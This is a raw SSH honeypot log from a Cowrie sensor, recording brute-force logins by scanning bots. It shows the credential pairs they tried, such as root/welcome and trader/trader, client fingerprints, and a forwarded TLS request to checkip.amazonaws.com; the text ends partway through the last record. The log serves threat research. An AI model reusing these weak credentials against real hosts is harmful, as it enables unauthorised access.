{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:20.298718Z","src_ip":"2.57.122.208","session":"d259ff05c8b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:21.532028Z","src_ip":"2.57.122.208","session":"d259ff05c8b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":38792,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0ccb147812","protocol":"ssh","message":"New connection: 157.245.10.239:38792 (10.17.0.5:22) [session: 8a0ccb147812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:59.213627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:59.217807Z","src_ip":"157.245.10.239","session":"8a0ccb147812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:59.221636Z","src_ip":"157.245.10.239","session":"8a0ccb147812","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"welcome","message":"login attempt [root/welcome] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:59.231841Z","src_ip":"157.245.10.239","session":"8a0ccb147812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:59.238140Z","src_ip":"157.245.10.239","session":"8a0ccb147812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45264,"dst_ip":"159.203.135.109","dst_port":22,"session":"a751bf717d66","protocol":"ssh","message":"New connection: 2.57.122.208:45264 (159.203.135.109:22) [session: a751bf717d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:22:38.100861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:22:38.165747Z","src_ip":"2.57.122.208","session":"a751bf717d66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:22:38.292880Z","src_ip":"2.57.122.208","session":"a751bf717d66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:22:38.953354Z","src_ip":"2.57.122.208","session":"a751bf717d66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:22:40.274301Z","src_ip":"2.57.122.208","session":"a751bf717d66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55530,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bb906584673","protocol":"ssh","message":"New connection: 2.57.122.208:55530 (159.203.135.109:22) [session: 2bb906584673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:24:54.692930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:24:54.739244Z","src_ip":"2.57.122.208","session":"2bb906584673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:24:54.846785Z","src_ip":"2.57.122.208","session":"2bb906584673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:24:55.581277Z","src_ip":"2.57.122.208","session":"2bb906584673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:24:56.848091Z","src_ip":"2.57.122.208","session":"2bb906584673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55668,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e1647bdaaec","protocol":"ssh","message":"New connection: 2.57.122.208:55668 (159.203.135.109:22) [session: 1e1647bdaaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:27:13.370560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:27:13.374928Z","src_ip":"2.57.122.208","session":"1e1647bdaaec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:27:13.473418Z","src_ip":"2.57.122.208","session":"1e1647bdaaec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:27:13.758631Z","src_ip":"2.57.122.208","session":"1e1647bdaaec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:27:14.861000Z","src_ip":"2.57.122.208","session":"1e1647bdaaec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39580,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bcd9623b6a7","protocol":"ssh","message":"New connection: 2.57.122.208:39580 (159.203.135.109:22) [session: 7bcd9623b6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:27.111129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:27.224640Z","src_ip":"2.57.122.208","session":"7bcd9623b6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:27.228133Z","src_ip":"2.57.122.208","session":"7bcd9623b6a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:28.410652Z","src_ip":"2.57.122.208","session":"7bcd9623b6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:29.657278Z","src_ip":"2.57.122.208","session":"7bcd9623b6a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":33730,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c3538595664","protocol":"ssh","message":"New connection: 185.156.73.233:33730 (10.17.0.5:22) [session: 1c3538595664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.531267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.537105Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.614868Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":45612,"dst_ip":"159.203.135.109","dst_port":22,"session":"762d7fa038b2","protocol":"ssh","message":"New connection: 185.156.73.233:45612 (159.203.135.109:22) [session: 762d7fa038b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.647036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.653538Z","src_ip":"185.156.73.233","session":"762d7fa038b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.734831Z","src_ip":"185.156.73.233","session":"762d7fa038b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:52.984583Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:53.146176Z","src_ip":"185.156.73.233","session":"762d7fa038b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"185.156.73.233","src_port":47156,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:47156","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:56.718849Z","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:57.118383Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb3\\x85\\x05\\x04\\x8c\\xd6X\\xc3\\x83O$:\\xf5\\xc3\\x84m\\xdd\\x0c)\\xf5\\xa4\\x04-\\x8c\\xd1y\\x98\\x18ty\\xb8\\xbc \\x15<\\xbe\\x83Z\\xfe\\xb2\\xd0W\\x83\\xab\\r\\xca\\x86\\xd4\\xc4FAq\\xe7\\xba\\xc8[\\xe7\\xa2\\x99\\xc8\\xac\\xd1\\x1d\\x84\\r\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 